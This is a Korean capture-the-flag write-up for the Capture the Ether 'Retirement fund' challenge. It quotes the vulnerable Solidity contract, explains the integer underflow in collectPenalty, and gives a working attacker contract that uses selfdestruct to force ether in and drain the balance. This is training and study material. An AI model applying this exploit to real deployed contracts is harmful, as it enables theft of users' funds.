Capture the ether-Retirement fund

problem link

pragma solidity ^0.4.21;
 
contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;
 
    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);
 
        beneficiary = player;
        startBalance = msg.value;
    }
 
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
 
    function withdraw() public {
        require(msg.sender == owner);
 
        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }
 
    function collectPenalty() public {
        require(msg.sender == beneficiary);
 
        uint256 withdrawn = startBalance - address(this).balance;
 
        // an early withdrawal occurred
        require(withdrawn > 0);
 
        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

owner가 넣어두었던 토큰을 10년 뒤에 전부 꺼낼 수 있다. (owner는 victim) owner가 자신의 토큰을 일찍 꺼내려 한다면 90%씩만 꺼낼 수 있다. 패널티는 player(공격자)에게 주어진다. 이러한 컨트랙트에서, player가 잔고를 전부 털어가는 방법을 찾자.

풀이

solidity 0.4.21 버전을 이용하기에, SafeMath가 자동으로 적용되지 않는다.

    function collectPenalty() public {
        require(msg.sender == beneficiary);
 
        uint256 withdrawn = startBalance - address(this).balance;
 
        // an early withdrawal occurred
        require(withdrawn > 0);
 
        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }

collectPenalty 함수는 패널티가 발생한 경우 player가 패널티를 수금해가는 함수이다. uint256 withdrawn = startBalance - address(this).balance; 에서 withdrawn를 계산할 때, address(this).balance 를 이용한다. 이를 통해 초기 자금에서 얼마를 빼갔나를 계산한다.

하지만 address(this).balance 는 의도와 다르게 변경될 수 있다. 컨트랙트에 임의로 이더리움을 전송하면, 컨트랙트의 balance가 유저가 넣은 값일 뿐이라는 가정을 깨트릴 수 있다. uint256 withdrawn = startBalance - address(this).balance; 에서 balance가 예상보다 올라가 언더플로우가 일어난다. 언더플로우가 일어난 withdrawn 는 양수가 되어 require 문을 통과한다.

solidity 0.6 부터 receive 등의 함수가 정의되었다. 따라서 receivefallback이 정의되어야 토큰 전송이 가능하다. 그 이전 버전에도 비슷하게 파라미터가 없는 함수를 정의해야 받을 수 있다. 정확히는 function () payable public {} 와 같은 payable의 이름없는 함수가 필요하다. 물론 이름이 있는 payable 함수가 있다면 그 함수를 호출하며 전송하면 된다. 하지만 위 문제에서는 constructor 외에는 payable한 함수가 없어 토큰을 넣을 수 없다.

이렇게 receive나 fallback이 없는 컨트랙트에 이더리움을 전송하려면 어떻게 해야하는가? selfdestruct를 이용하면 된다. selfdestruct는 컨트랙트를 삭제하며 해당 컨트랙트에 있는 토큰을 파라미터로 주어진 주소에 전송하는 함수이다. selfdestruct를 통해 전달된 토큰은 receive나 fallback이 구현되어 있지 않더라도 revert 되지 않고 받게 된다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.7;
 
interface RetirementFundChallenge {
    function collectPenalty() external;
}
 
contract RetirementFundSolver {
    address payable public owner;
    RetirementFundChallenge public problem;
 
    constructor (address _problem) {
        owner = payable(msg.sender);
        problem = RetirementFundChallenge(payable(_problem));
    }
 
    function solve() public payable {
        require(address(this).balance > 0);
        // send ether to make contract confused 
        selfdestruct(payable(address(problem)));
 
        // call this with player account
        // problem.collectPenalty();
    }
}

다음은 공격 코드이다. solve 함수를 호출한 뒤 player 계정으로 collectPenalty 함수를 호출하면된다. selfdestruct 를 통해 공격 컨트랙트의 토큰이 피해자 컨트랙트로 이동하므로 언더플로우를 일으켜 조건을 통과한다.


tags: writeup, blockchain, solidity, smart contract, integer overflow underflow, solidity safemath